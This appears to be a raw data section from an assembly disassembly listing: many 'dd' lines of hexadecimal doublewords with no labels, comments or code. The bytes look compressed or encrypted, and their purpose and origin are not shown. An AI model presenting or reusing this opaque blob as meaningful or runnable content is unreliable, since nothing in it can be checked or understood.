		dd 9E78BB6Eh, 528CD70Fh, 82D33D27h, 0B9F3BF6Dh,	450E2033h
		dd 107BB53Fh, 13457502h, 42EA1884h, 0FA93976Ch,	0DCA4ECDh
		dd 556172Bh, 44C6829Ah,	709C170h, 0EF72E902h, 5ABA82F4h
		dd 0B6C9805Fh, 0C365834Dh, 6A447A0Ch, 28FA2A3Fh, 0CD008EAh
		dd 1A602414h, 0B9515A00h, 481744EFh, 24248341h,	0EA310259h
		dd 60494A71h, 41FC6193h, 68D8007h, 0ECBD0E4Ah, 0EFCBF878h
		dd 710B0200h, 6490CF02h, 845A0880h, 52DC41EFh, 0AEE61685h
		dd 91D7903h, 0F118EA5Ah, 385539Bh, 905F059Eh, 15D839Fh
		dd 0EA9D0806h, 72AE19Eh, 0CC41AABCh, 0AA2A210h,	8231E9A3h
		dd 1BEB2A05h, 0AD122089h, 82C04676h, 0BD01930Fh, 0F70F955h
		dd 696F186Bh, 67C42445h, 979238D7h, 0A031668Ah,	0C364C89Eh
		dd 1D480A12h, 0E559512Ah, 0AD01EBFFh, 7892CA82h, 9BEF0B7Bh
		dd 0F26F0330h, 3E467C9h, 0CCB8961Fh, 902E4F00h,	1426E60Fh
		dd 706C902h, 0EA141356h, 0C7242E1Ah, 5B6D6215h,	4E3C201h
		dd 0E251EBF8h, 245C98D3h
		dd 0FC09C3h, 0EAD28A7Dh, 869956E6h, 0D28BB3AAh,	8B94F1h
		dd 3EFB6406h, 0C8867ADEh, 4D8F859h, 5F0C20Fh, 9B390482h
		dd 0ACEA5B80h, 0EE7DC427h, 0F0618006h, 1D61D874h, 0EB776C0Ch
		dd 0E2F6EA80h, 222D201h, 0EA5EEC06h, 533A8436h,	9A51D3B9h
		dd 83CE16DDh, 7C450282h, 0C48E910h, 8A119259h, 0A38418FBh
		dd 618A816Bh, 89192246h, 17D88856h, 9721C88h, 8B0FC32Ah
		dd 7BD37301h, 9B60E202h, 97D8783Dh, 3E078766h, 2A107FE2h
		dd 6B9624A6h, 0C5091B5Ah, 4EF65277h, 0FACE0C57h, 0EE247078h
		dd 0F070FC76h, 5EEA0201h, 8803C284h, 0FF5DCC40h, 738172CAh
		dd 1EB3FE67h, 435CB854h, 0FA31F4C8h, 1992DB3h, 655BFDC9h
		dd 94B041A7h, 970CA241h, 35FF3E92h, 31E320C3h, 0D9F81EC0h
		dd 0F2471A36h, 0A02E004Dh, 2644D756h, 1B0E6019h, 3CF5EA70h
		dd 0F3B90E38h, 4109445Bh, 6265ABC1h, 0B101ED33h, 0F7122DC2h
		dd 2907E0D1h, 659C430h,	992033EAh, 14F6A908h, 0D38D4E5Ah
		dd 0C0F8411Ch, 5E46348Eh, 57FE3CE8h, 2C08248h, 59152B7Eh
		dd 7EE8860h, 4CEA5F03h,	84A428EDh, 0B19E84B3h, 62CA0081h
		dd 0EFC25345h, 0A27C0348h, 3460033Dh, 6321236h,	675D380Dh
		dd 5A84444Ch, 0C93104DFh, 0B40DFC94h, 3C52179Bh, 8F79A69h
		dd 0F482F7B7h, 8E956CD8h, 2189EBA7h, 22CE694Eh,	9055A14Ch
		dd 22C243Dh, 0C10C60D2h, 50738510h, 7826789Ah, 0B8464F29h
		dd 82533041h, 0FE80EC90h, 3B201869h, 0A5782082h, 0EA61DFCh
		dd 0CF84CAA9h, 1E0C34CBh, 0BDA3D9EAh, 0F69401C4h, 0DE8AFAA9h
		dd 643EF95Ch, 552C5616h, 5AE25C5Eh, 1C560A73h, 0EC4CF1Ah
		dd 8D6DF465h, 42AF2281h, 30ED41C4h, 228EA81h, 13DA6F2h
		dd 673B8ED9h, 0B652455Ch, 44E9D7C3h, 5160DB3Ah,	2123500Bh
		dd 2045EC2Ah, 6009A70h,	4D3A1DB3h, 0A32ED92Ah, 1CD0E007h
		dd 0D40A625Dh, 51041FA3h, 8B594F88h, 253534F1h,	0A0ECDB11h
		dd 0DF512A84h, 34CF23A5h, 5212FBA5h, 24669004h,	0C4B85B0Ah
		dd 3D8A8232h, 440C6BC4h, 0CC7BA05Ch, 61A507C2h,	0B6D90286h
		dd 4C853406h, 4625D96h,	0AF636054h, 1AE4003Eh, 2649D1F8h
		dd 0A40641F7h, 9C95EA32h, 84298828h, 36F8A3E9h,	0D06324Ch
		dd 0A4EA5D09h, 0C2A69B6Ah, 88F54853h, 0B823C615h, 0E28A4764h
		dd 81D19523h, 0E4568F79h, 0C8437CEh, 0BA2063CAh, 915BE420h
		dd 158700F1h, 7F6918C6h, 0C28C4F48h, 0C242C2B9h, 90A68D1h
		dd 2822B059h, 8BA1DD92h, 0CAFAC2C4h, 2AB630B3h,	345E2CEFh
		dd 112389FBh, 0DD885864h, 5B4BD602h, 6124844h, 5340938Fh
		dd 0F4580275h, 4604EA4Eh, 89025DCCh, 5F709662h,	72CE25Ah
		dd 0EBCD691Dh, 0AE603071h, 0F364484Eh, 573B00D3h, 0B51C30BFh
		dd 8A52680Ah, 244922E2h, 4C1D346Ch, 0F67B266Ah,	6544160Bh
		dd 801E2964h, 1D565973h, 40DDF075h, 0F82A0A90h,	0FF28828Ch
		dd 34269BFCh, 8D48BE15h, 519DC72Ch, 0CF3168Dh, 0A4524008h
		dd 7A20CCDDh, 5700BB14h, 82790B4Fh, 6020E2CBh, 85C30CCAh
		dd 0E57E58h, 0CB8498Ah,	5BD20230h, 2B152C9h, 0F9D61349h
		dd 16331684h, 0AC613052h, 2C3E4669h, 7786C1F8h,	41F23BBFh
		dd 8A5221A8h, 0EB5B88EEh, 0D29A7220h, 716AEA73h, 7C8C6E1Dh
		dd 0A6BAE383h, 8BC401F6h, 243FA77h, 52D31CCh, 1430CA08h
		dd 7F331D88h, 408B1540h, 35ECAE9Fh, 1F205C4Dh, 0CE8BD12Ah
		dd 121B9A4Bh, 9B274C85h, 0AA69048Ch, 466AD761h,	0C7903B7Dh
		dd 0D665CB79h, 5388D469h, 6992A8C1h, 2F1068CBh,	497E3CADh
		dd 0FD91DA76h, 379E6A12h, 0DBE782B6h, 326D1046h, 9CF80D06h
		dd 5A1CDDFAh, 5A6027D4h, 0E3518A53h, 0EBA00CF6h, 0C088C599h
		dd 46F81992h, 0ECD2D15Ah, 16C050DAh, 9EBC259h, 0BA42C243h
		dd 0A7C2B714h, 477FCB8Eh, 1FB025Eh, 74BDEA33h, 0D7ED57F2h
		dd 53F78A9Ch, 6105426h,	12215E03h, 599DB1EAh, 8CD0D22Eh
		dd 0BE565100h, 0A573075h, 85C7EA1Bh, 86C60699h,	9C531D76h
		dd 0AE45C60Dh, 1CA09049h, 0E829308h, 1E257CB9h,	630DC373h
		dd 0AD7E4A7Eh, 6896C5Dh, 67C1B710h, 0EA8815ACh,	8A41A52Fh
		dd 0FE6FB940h, 98A76C1h, 6A743AF0h, 400ECA05h, 17DEB9F4h
		dd 32124880h, 0F80059C6h, 26961CDh, 36D45CF8h, 0B794BF02h
		dd 0D8C82ADDh, 60815498h, 52058826h, 3421B769h,	44641485h
		dd 305BC3Ch, 814407E4h,	80378865h, 7F237381h, 4F02E1Fh
		dd 2A35D31Bh, 9D0F3C2h,	2707C9EAh, 11CBEB35h, 4CD28A1Bh
		dd 240EF778h, 0A38A4CD4h, 1F228CDAh, 0EC5AD192h, 0E7246217h
		dd 423A9D80h, 4F4B0643h, 0D789B6EAh, 2130E377h,	0C7FF30DCh
		dd 5EF3AC1h, 0F781CF87h, 0AB013FADh, 705BF601h,	0F6968053h
		dd 0A4C06964h, 0EF5C4B6Bh, 0C4EE0DC1h, 80067F36h, 0E1488A51h
		dd 3F997DA3h, 9CE60D03h, 0C9C0EC73h, 9C5ACF2Ah,	73EDA414h
		dd 2059A2B4h, 6326D34h,	5254E80Dh, 0D1921B98h, 5C88413h
		dd 66085F21h, 3520EA26h, 1C4EDE20h, 0C45CFD89h,	0F25B59E8h
		dd 1DB180C7h, 0E69CF081h, 0E7DA7EC8h, 88DFDCA2h, 4AED69EAh
		dd 0C533441h, 0CCEF4AC2h, 7175F105h, 0C403582Dh, 0F0706784h
		dd 55317C0h, 0F83226EBh, 4E4FC05Fh, 4018381Dh, 5A6309EAh
		dd 5CE0192Ah, 0B332CE34h, 0C5D0D06h, 0D99FEA6Fh, 0EAB42AF8h
		dd 30695E97h, 0DA325F70h, 9F000D06h, 672FF769h,	0A45C3E30h
		dd 0B367260h, 70FCEAC7h, 89246394h, 6C169AF9h, 9AA0273Dh
		dd 12E485D6h, 0D1FE8C53h, 1F81840h, 0A8CF82DFh,	0D8068540h
		dd 0AF0AFEF7h, 8D223576h, 0FBC8813Fh, 0EA6E012Ah, 556851D5h
		dd 96FE5A8Eh, 590682BDh, 558320C2h, 887F14Fh, 305E558Bh
		dd 67CE025Fh, 90A0F85Ah, 0E0EA804Ah, 0C038405Ch, 9DB35351h
		dd 0D8892454h, 93EA8413h, 0F857A413h, 2445DB0Fh, 54ED8631h
		dd 53580E81h, 29AC76BBh, 324E561Ah, 985F773Ch, 4FA5201Ch
		dd 7B85406h, 306AFB89h,	78E763FEh, 67399E1Dh, 621A2C59h
		dd 0BD8A543h, 0D932AEE0h, 1A5102B2h, 0C5D1BE81h, 14643A0Bh
		dd 4BB1012Eh, 71EA59E2h, 0B2E04839h, 0C73AA104h, 65C2EF2Ah
		dd 45C0549h, 0A66D79A5h, 0D53106Dh, 724A9858h, 0AE43FA94h
		dd 5D3C9C8Eh, 4C59D067h, 0B96BC38Bh, 32896515h,	5969C922h
		dd 35728C8h, 0EF82D7F8h, 5B51F8F0h, 0CF0EC04Fh,	320E6E09h
		dd 0EA5FF404h, 0E19312EEh, 887590FFh, 0E95B0D02h, 0F04663CDh
		dd 0F5F1241Ch, 6610875Fh, 51970C8Bh, 0EC81E1D0h, 2B9FE104h
		dd 8BE1434h, 5EF10101h,	12ACE9h, 0D4FFEB81h, 2B072303h
		dd 0C01A5771h, 0E35ACE2h, 0EA7A1376h, 0E34F1C00h, 295AD331h
		dd 7190C4D8h, 0C6520E08h, 3E46F4CBh, 0CC99D7F7h, 45C4612Bh
		dd 171F013Eh, 8471FF56h, 4741E942h, 86CEF3D0h, 0D3F637DEh
		dd 7F2DD308h, 0C0871A30h, 3B0F665Ch, 9C3F04ABh,	6CD69398h
		dd 74A002BBh, 8BA28BD9h, 0C2B03913h, 0AB0D285Fh, 0CACA0136h
		dd 0E4E90800h, 8026C710h, 8506FCC1h, 5E1C01Eh, 0B080F97Fh
		dd 7051722Ch, 4C83AE2h,	0B84CF172h, 3B0AD154h, 406C18Ah
		dd 78CC0E9h, 0A2735F58h, 8B0E038Dh, 5568243Ch, 54E93095h
		dd 9A6C4EE9h, 9BF2213h,	578510Fh, 80A15E84h, 0FB296DE4h
		dd 0E3E0E914h, 3F5C3783h, 5551003Fh, 21579BDh, 0EDC12E0Fh
		dd 8438302h, 4EBB2500h,	81581D8Eh, 0F0BEEC5h, 0DD01437Fh
		dd 2008ED0Ah, 0EF8824EEh, 0F0C1A00Ch, 98856494h, 3E7C04Dh
		dd 300A3825h, 9AC1D1F7h
		dd 17E98100h, 1EA9DE52h, 4F59CD21h, 19A76DF5h, 91BBE348h
		dd 8E2D4029h, 40E88714h, 0C18016F6h, 310A02E8h,	286F68C8h
		dd 8A2483ADh, 1AD0F72Bh, 41BF08h, 7F4085BBh, 0C3018120h
		dd 50DFE875h, 0C488DD21h, 8910D7AFh, 6766802h, 81401CBDh
		dd 87C8143Bh, 7630C2Ch,	200C5773h, 5647FF5Ah, 76EEE77h
		dd 0C13D2771h, 0B702E76Fh, 5B2E04Fh, 6C903609h,	3A568D03h
		dd 0EE5F213Ch, 6EF5497Ch, 86CE0114h, 0CE7CC62Ah, 78588B8Eh
		dd 29CE6FFDh, 25E6E9F0h, 57C25810h, 3755E006h, 4EBF0705h
		dd 845FFB09h, 86DB80D3h, 8E121274h, 7D2DDD89h, 6A80FA09h
		dd 1A40B850h, 0D745B08h, 328E1B14h, 350B79B7h, 424A96h
		dd 48F3B90Bh, 0E9FD2EB5h, 5B483157h, 8EB2DC5Ah,	125A0ED0h
		dd 0EF2857D1h, 37589087h, 0CADFFF5Ch, 54536249h, 2558C83h
		dd 6FC7A33Fh, 48916437h, 6164A1D4h, 28BDCF00h, 1571E739h
		dd 0D4757368h, 0C43A1434h, 27829907h, 645E6E7Fh, 6FC056E7h
		dd 4C33488Dh, 0AB265808h, 87688A81h, 1CBA4329h,	0B6A53F50h
		dd 3EFC3A12h, 7BAC6601h, 95210BEFh, 310DA20h, 5DEA2919h
		dd 2E04FA01h, 35FB3B4Bh, 646A87C2h, 75E80906h, 960F169Bh
		dd 404C801Fh, 0CF018C55h, 41685909h, 29D6B013h,	2C77043Bh
		dd 8403EEC1h, 0E9D1881Dh, 0ADF5C34h, 0BD19C21h,	0CA310005h
		dd 100C154Ah, 52F27498h, 42086A18h, 6A1090Eh, 0D129CBD9h
		dd 9D01865Ah, 5058CADAh, 0BC55E089h, 0FA12D039h, 0C7AEA889h
		dd 9C0B2D02h, 14B86710h, 59240FC3h, 0AED31AD3h,	12283642h
		dd 3B9C8D0h, 3C22E957h,	96E61324h, 98EEC9CEh, 0C04BF9A6h
		dd 1F53C617h, 0CEC06337h, 355232CEh, 0DEF73001h, 180F5010h
		dd 0C1467805h, 3B3608E6h, 0BFB878D8h, 0C631F2C0h, 856DE92Ch
		dd 8689519Dh, 0F642146Fh, 16606336h, 0B418DBF7h, 0F18F5AF3h
		dd 11F503DAh, 59CB0125h, 0D243C39Ah, 54880798h,	0CE0A0E90h
		dd 0DA37B868h, 0C45F6518h, 415C9002h, 5C0EAA14h, 0B0C3801Ch
		dd 0C74EBCCh, 122879DBh, 591BF0E9h, 4A5692C4h, 0BEE91E97h
		dd 23693B26h, 503D782Ah, 58138F9h, 0FA7D66EFh, 8FD6876Ah
		dd 0D0488B60h, 3320E949h, 6DDF8093h, 0EF8080F2h, 5824D97Eh
		dd 0D38843E2h, 0EBD10FD2h, 4F287489h, 208DA094h, 1E997D98h
		dd 94041C09h, 0E7095818h, 0F74FAC8Ch, 0EC2DD803h, 0E215560Ch
		dd 0A322EB31h, 0FD73B9C7h, 297D67AAh, 1EA322E3h, 5E6C0904h
		dd 0E78159A0h, 383E18BCh, 48EB1850h, 24F8F27Dh,	160AF754h
		dd 18A941E2h, 0E5377B3Bh, 0FCB621E7h, 6C75869Ah, 24D5E6C8h
		dd 2840078Dh, 7602CB4Dh, 0EC434104h, 0D1C6F750h, 3606426Ch
		dd 7D2B18AFh, 0A7B22270h, 93ABAA3Dh, 534E55CAh,	6B07524Eh
		dd 171CFA8h, 93468BF3h,	8D75FDC9h, 56582C61h, 391C1F2Fh
		dd 34134D17h, 0D8A620E9h, 1E9051A2h, 0DFA0CA29h, 0F9C0871Ch
		dd 800CB1EEh, 82CB9802h, 6884035h, 5C682E0Fh, 44DE02F7h
		dd 7500191Eh, 6B79837h,	0ECE9D631h, 87EC4B5Bh, 7CAC6C14h
		dd 2844C84h, 41EF9AF1h,	42676AC5h, 26EC285h, 0A8AEE933h
		dd 0B708C693h, 81BE1E93h, 83512819h, 4E238EEh, 224A2D2Eh
		dd 58A94880h, 9C7F5054h, 421D917Bh, 99643268h, 0B9004B90h
		dd 38A2406Ah, 920980E9h, 93EA481Ah, 92564444h, 76F75C8Dh
		dd 0F66F503h, 0C1D1E89h, 0A783775Ah, 3530AE9h, 6DB7F771h
		dd 0CFD93B7Fh, 6CBD0271h, 32F0074Ch, 6901211Bh,	1508C308h
		dd 0C595C85Dh, 74FF5602h, 0F7A90424h, 213D0306h, 0A9CEB4Ch
		dd 0DDB85CFBh, 75A4C51Fh, 0DEA2BF64h, 145FFD17h, 58C6F837h
		dd 0A6E92CE5h, 1C4AC3E9h, 39813194h, 0F706D033h, 0D887D53Dh
		dd 929DE4D1h, 0AA143128h, 0BBB00E7Fh, 2C7168E3h, 0CD3FE930h
		dd 26AB252h, 0EA80D2F6h, 0B440C05Ah, 8460C3E9h,	121AC747h
		dd 576F2C37h, 68CA8027h, 558220Ch, 1C4B06A2h, 0E389EC13h
		dd 13D8C327h, 69F3562h,	1AFE5298h, 3DA15AEAh, 0EEF2CCDCh
		dd 0AFD02026h, 55090329h, 0B14FD089h, 0D43C4533h, 0B00C1D94h
		dd 951B2A9Fh, 3ECB0C50h, 8D88BE9Ah, 0BDA0E4D1h,	88516CB1h
		dd 60F4CDF2h, 0D5895013h, 0C9DB5EDCh, 0D8026626h, 2907EBE5h
		dd 0FB1B854Bh, 79460C2h, 45C6625Ch, 0D6DEB1A7h,	0D8841BD7h
		dd 0C00BCCE5h, 46850F09h, 76862201h, 6DD9B05Dh,	4273D6F5h
		dd 75336888h, 540987E6h, 9BE4C0E9h, 0E81BC1D9h,	0AA8410B1h
		dd 0E0B30733h, 9E1644CFh, 0C8F155F7h, 0C6315745h, 5F732A45h
		dd 5E0DA078h, 19F34C29h, 9493F126h, 68096314h, 0E118647Eh
		dd 0CC0DB753h, 66DC780h, 0DFF7B0EBh, 0E9FD0988h, 1F2092F8h
		dd 3C3436CAh, 20E14F4Ch, 69680902h, 8C0026C8h, 777A7F5Eh
		dd 28B7A2C2h, 8E78E201h, 54E043B0h, 1EB975Eh, 22EAE9DCh
		dd 0B9610B30h, 0A7A6CF3Ch, 0E0481B20h, 18B558E8h, 13741967h
		dd 6D52046Bh, 0C25FF921h, 8F610786h, 24D6C472h,	0F7F64977h
		dd 8300D0F2h, 3E0DC305h, 0B9C80177h, 2BA6580h, 5AD02910h
		dd 0D9591762h, 0FB08E2A6h, 7AB90028h, 492C5D02h, 66744160h
		dd 76116421h, 6694EED1h, 0E6D33767h, 103BA630h,	736F64B8h
		dd 0F7480026h, 7F3435D0h, 0E92A06B5h, 8F5CE111h, 2ECBDEF8h
		dd 69DE94D6h, 28090C83h, 35142E3Bh, 0E677FFh, 8273ACBBh
		dd 985C3128h, 5B02FB7Ah, 52123650h, 0B38016E9h,	90D830ACh
		dd 896D531Bh, 0CB730850h, 47913384h, 0E3A2CA2h,	47EC8850h
		dd 34B258E3h, 7E94CC5Ah, 4D6F7DF8h, 5F4CFF50h, 0F1C9FB30h
		dd 6C284225h, 5698C4E0h, 0A52DF803h, 0A8632431h, 0AE221Fh
		dd 2552051Eh, 0CBE9110Eh, 213EED63h, 76C762C1h,	28007EEEh
		dd 0E85966C8h, 0B65201D8h, 0FFC68038h, 0B39C60F6h, 0C4556341h
		dd 0B39EA311h, 870C58D3h, 36709019h, 2008D9C1h,	0E3FE8824h
		dd 0CB4FD790h, 1C6372Ch, 751F63BBh, 2C4AD5E9h, 0C1C2CDD5h
		dd 43D06E21h, 2A447B1Eh, 0D39B36E2h, 0CD4D3476h, 0E4065498h
		dd 0FB24682Dh, 616FD802h, 52B6E9E1h, 41590234h,	64932150h
		dd 0C16983E6h, 7EDA22EEh, 0F3562D5Fh, 72C88ECAh, 0C2388058h
		dd 0D5D526D6h, 0E0F218BFh, 0A0D9F71Ch, 50482580h, 99568862h
		dd 0D8E11336h, 4C413EB3h, 7EB5D540h, 5275FDE0h,	0D8E9469Fh
		dd 0DB6854F3h, 542A0C66h, 0A843FCE5h, 24015BB9h, 0C9795EF5h
		dd 0F87F0FC8h, 0E8C1B1C2h, 96A24105h, 0BFCFD6CDh, 73F36990h
		dd 554C0E2Dh, 21A05B7Bh, 11BC0D5h, 0F0E9C70Dh, 0B708A177h
		dd 1FB89359h, 0E9300266h, 0A0A9CD26h, 0D187B204h, 5D548EAh
		dd 0C2FE7888h, 1C4F219Fh, 11488343h, 0F02211Ch,	0E7CD5EF7h
		dd 9F7D32BBh, 0A15854Dh, 92934907h, 0A6124C06h,	0FC33002h
		dd 515AC0B6h, 26D6E912h, 6C58EC89h, 0E2892C52h,	595CACA7h
		dd 0D91947FAh, 0CFB254EEh, 2B717320h, 0A4133931h, 66A50800h
		dd 0C6015F03h, 5EF29858h, 7EEA6883h, 735A1262h,	3085BB5Dh
		dd 4F4D498Eh, 0B0F7142Ch, 1C5A213h, 93A3CD9Dh, 0D13192CEh
		dd 7E28156h, 0BA332C9Ch, 625827E6h, 76F0520h, 213E1698h
		dd 0BF30AACAh, 51C38002h, 8902E3C0h, 81ADA0D8h,	2656A5CEh
		dd 2D2B1A23h, 0D904A100h, 8E90C708h, 0F8C9EF50h, 0E950B69Ch
		dd 0A1A606Fh, 0F128A2B6h, 3088DBA1h, 9967B76Dh,	0C7C7DF3Ch
		dd 0F86E5D5Eh, 37E5199h, 0F04FAB54h, 618782FFh,	1CE160C3h
		dd 756A989Dh, 0DCF5C4D3h, 680213CBh, 666E3668h,	225064D5h
		dd 73145ACBh, 31183FC1h
		dd 0F6800A49h, 0E467A178h, 0DE95641h, 8E6038CDh, 0E51E4C8Fh
		dd 54AF7CDh, 66F8295Ah,	4A013ED5h, 3D246629h, 0D06D931h
		dd 0A298385Ch, 9958E655h, 0EEDC0D18h, 15E52CCDh, 44F45BDEh
		dd 2D24E9FAh, 24BB5625h, 86ABC25Dh, 99212924h, 0CA04DD1Bh
		dd 9E2FD88Ch, 24004B2Fh, 6C47044Dh, 0AD25E924h,	9CB10A6h
		dd 5DA460CCh, 0BE660956h, 850467D7h, 0D4D11411h, 0B5873E57h
		dd 62387907h, 9A5E8421h, 7A7E7C11h, 402C68FDh, 21264B3h
		dd 0C42C0F56h, 1E704EE9h, 0D6EDC564h, 0B284C778h, 3BC6510Ah
		dd 36D36628h, 0BCCABE26h, 0E778AA82h, 0F34BE176h, 0C2018350h
		dd 6F699658h, 0CE9DA23h, 0C20067DEh, 2C511686h,	0A85A0A88h
		dd 9C13E9B4h, 152130Ch,	0EB1C72F9h, 76AA431Eh, 52460D6Eh
		dd 0FF71858Dh, 0E9F0463Ch, 30DCFE9Dh, 0F080E618h, 6A514C5Ah
		dd 0E3B4D298h, 0E288521Ch, 3CE4D19Fh, 0B86A2C58h, 0B151030Bh
		dd 7CC180EEh, 8BCA8484h, 163F439Ah, 0AACA43A8h,	0F14E146h
		dd 1288ACA3h, 0BF049FA6h, 0D122D030h, 0B9055ED0h, 8895CC90h
		dd 0AE5503C5h, 14D284F0h, 0ADA05449h, 11C1BA52h, 2E261E3Ah
		dd 0CA013FE2h, 3C7D17A8h, 1287F2D8h, 8441B69Bh,	7960312Fh
		dd 0EE79855Eh, 9823B53h, 8358E5C8h, 0E04F160Dh,	39E940D8h
		dd 0C038744Ah, 884440A0h, 74A8EE5Ch, 4225F57Bh,	0A497A280h
		dd 7DA758C9h, 58B225EAh, 2BDC1027h, 13C85182h, 0F40CD1D2h
		dd 0C2DA568h, 904E0EADh, 8052E949h, 0BD55580Fh,	3E338B01h
		dd 5DE8314Bh, 28B2A945h, 4E80E9C2h, 0B80C2AC4h,	0BE551465h
		dd 0D6D305A3h, 0C0F18917h, 32FBC124h, 8078033Fh, 974FEE1h
		dd 5FE95034h, 88AF0757h, 0E0DA24D0h, 0A60B210h,	3DA4C5B1h
		dd 4139067h, 137C59EDh,	722AE03Ah, 4452185Bh, 0FAA42D1Eh
		dd 0D1C20960h, 4A50F8E2h, 3535894Fh, 81C6EDD0h,	5379052Fh
		dd 15D42A97h, 0FAA012B4h, 0CC71231h, 0EC873381h, 661327B9h
		dd 5B4F820h, 70CC3980h,	88EFF489h, 0F0289702h, 0CE2C40C0h
		dd 4E92FBB4h, 0D72C5256h, 491040A7h, 28C88CA0h,	402D4324h
		dd 0D0258238h, 6A8DE921h, 0B9F46366h, 329E0D96h, 0D3329F64h
		dd 537383BAh, 7448AAF3h, 2AF3005Eh, 59FECB5h, 3D520285h
		dd 56EBE963h, 50E7DFA2h, 68E8F488h, 0CD12CF4h, 0F8805158h
		dd 0FD536E3Bh, 4800D148h, 4220A180h, 2AB25F03h,	0C7BB65C8h
		dd 4CC3120Eh, 0D8987C31h, 50D0F708h, 9B70EA93h,	4501248Eh
		dd 784BA0ECh, 64E66880h, 0F1406560h, 20401D13h,	7D02D288h
		dd 0F6E94B74h, 25BDF90Ch, 2866BC41h, 59E6609Eh,	0B2431862h
		dd 2D289454h, 90816007h, 7BBA21Ch, 4C4128B0h, 0FC05E3F8h
		dd 28370EC3h, 42DE5FA8h, 63655EF9h, 7C915B40h, 0CB4B8B94h
		dd 580724F6h, 0B04F4432h, 545D317Ch, 0F7F67ECAh, 0C016826Eh
		dd 3B7BAF2Dh, 0F4505961h, 24D8FE7Ah, 9DD863E9h,	0C59797ACh
		dd 0F664C51Eh, 2150622Fh, 0A15D048Bh, 48303802h, 69E5130Ch
		dd 394E4540h, 4814D7Eh,	0C6480AC9h, 0D0D7E54Bh,	5A050122h
		dd 3B726834h, 2DE93ECCh, 309A5137h, 0C7818390h,	832F0B03h
		dd 0C2CF013Eh, 590881EFh, 0E75215E9h, 0E2725605h, 660032BFh
		dd 0C4542C2Dh, 82714808h, 0B000D1C9h, 0FED8F681h, 0D73050ECh
		dd 0A40B55BAh, 0D309CC41h, 0F79B02E9h, 6EEEE33h, 0B18A0DDFh
		dd 8989B183h, 4B5103FAh, 0EEB90356h, 0E69E3171h, 921129D9h
		dd 6D32C217h, 0A3F870D2h, 0DE84193h, 7D200609h,	8BFB832Ah
		dd 48247220h, 51007BADh, 150F6856h, 80984CCCh, 83ECE06h
		dd 2825C1Eh, 18DA6C13h,	0D1A44DE9h, 4854805Eh, 40767846h
		dd 28A40790h, 29F35D58h, 5497C425h, 5C65B371h, 564C9E24h
		dd 0E007D82Eh, 0D64F0734h, 6E960B1Eh, 4CCD3163h, 6D2F004Bh
		dd 65020B2Bh, 0D25611DBh, 7A2E0549h, 543C6FA2h,	0B9AA18AAh
		dd 286949C9h, 56397C6Ah, 6C59258Fh, 39A6A186h, 1E050FA7h
		dd 0F939C985h, 0BEC924ACh, 6F346E0Fh, 8B2D5F7Eh, 0F09BD8B2h
		dd 62104B8Ah, 0E938145Fh, 0A002B24Ch, 9E0C02Ch,	88453407h
		dd 87E62F02h, 0E377B402h, 0EAE5DBA3h, 9DD9C5EAh, 6598E7E9h
		dd 0F4B4068h, 2E540223h, 61E2B9B6h, 208359CAh, 7A2A682Fh
		dd 11901605h, 85E95713h, 0BF01DA4Ch, 555B3E5Eh,	296B1431h
		dd 60F622C2h, 0A9EA81D5h, 6EBB3B53h, 5405027Fh,	0B4E97BDEh
		dd 59483A78h, 0AFB2B48Bh, 7702BA6Bh, 7ED9C575h,	6C5D5409h
		dd 3B2CFF27h, 0F7DA0CF4h, 0C03E5A3Ch, 0D4F619E4h, 69E070Ah
		dd 6ECCB03h, 0E9088C00h, 16B21D5Eh, 4E900392h, 2E76CF20h
		dd 485143h, 59618E6Eh, 73FECB31h, 5951EC4Ah, 787B69E1h
		dd 9BAD49B1h, 0A89B4350h, 0FAFA01ABh, 416E5F7Dh, 0D44DB1D1h
		dd 0A0F1F53Fh, 5E6008BEh, 6555E913h, 0D4215864h, 3F16AF86h
		dd 28B6F503h, 0BA581239h, 0C1CD806Ch, 0A06E1741h, 79148608h
		dd 6C0145C5h, 0EC68821Fh, 8D95A752h, 8A0926C8h,	8BF7D79Fh
		dd 82455BDDh, 44665C0Bh, 0C4A42A81h, 51FD89E8h,	169CC468h
		dd 41CC38D7h, 0B0C42F6Bh, 973CD622h, 0EFCA0E9Bh, 459E97E4h
		dd 0E20D9324h, 0F56714F6h, 5CB53060h, 682DC5FEh, 0E95098DCh
		dd 1743BE26h, 0F0878D5Ch, 60828A60h, 81728297h,	49163158h
		dd 7D3740CEh, 170A6A73h, 8DCD89E9h, 2DCCC39Dh, 1EFC745h
		dd 0E540BF26h, 8A55FD68h, 431EED5Fh, 7A4B569Eh,	28D6B415h
		dd 9C98F8B2h, 1B8042E0h, 56685500h, 13012646h, 260C1058h
		dd 0C000F65Dh, 21BD59D3h, 0BE98FCF8h, 0BF570060h, 2D9F4C7Ch
		dd 502F0958h, 3518BCC2h, 2D437D5h, 0B9AA2CB1h, 34462557h
		dd 78F080BFh, 78297CF1h, 8ED50D5h, 0DEBD34E9h, 66B8360h
		dd 8D4745C7h, 500C419Ch, 0E1149DB4h, 0CB885882h, 0E89A6359h
		dd 7CC3305Bh, 27055F68h, 3FC8281h, 7B2E98A2h, 622ABD00h
		dd 2E447A05h, 42E17AB0h, 97D948FFh, 8EC3678Dh, 0E74C3D27h
		dd 0BE5657C0h, 287C4F89h, 16B168E9h, 444F2C0Fh,	0DEB3933Ch
		dd 444D7A1Eh, 0A0DFF76Ch, 0A03BE3Dh, 0E5C16A58h, 8F62805h
		dd 0D8AA0989h, 4940941Dh, 128502Dh, 7F20CFEBh, 0F3811631h
		dd 7EDFE841h, 0B640DA58h, 0C62049D2h, 15222827h, 0C00C2FDh
		dd 0B0D034FBh, 0E7D1F606h, 3C77A24h, 5C0B2C25h,	2AC7EF01h
		dd 0A1E90608h, 91A26C8h, 70D48BFBh, 40E198A2h, 2507485Dh
		dd 3E107857h, 0A908F250h, 2BF19812h, 0E5554Bh, 62EDBA52h
		dd 0F7FE0175h, 74954DF7h, 125CC387h, 2A68C228h,	608D746Eh
		dd 741A7DDCh, 586C34B6h, 9F6502F3h, 0F009E958h,	0EC886554h
		dd 4F71781h, 274B29Dh, 0F11EF268h, 0CCA43E7Fh, 0F85B9580h
		dd 84B2025Fh, 500527D3h, 6E283B80h, 0B8301AC2h,	837C0B44h
		dd 17D22D17h, 9821FA05h, 392F0087h, 0C98137ABh,	0F73B2EA4h
		dd 61F10052h, 0C111F21Eh, 5E7990E1h, 4B4D0FB0h,	723BCBE0h
		dd 0E3FE492Eh, 0DBF7071Dh, 0DC03EB4Fh, 0C28A59CFh, 7CDF01A0h
		dd 0C00540D0h, 0B04247Bh, 3DA6685Ah, 64E260CDh,	17595F0Ah
		dd 5148467Ah, 719B1931h, 125FA628h, 27B2A835h, 60B0C128h
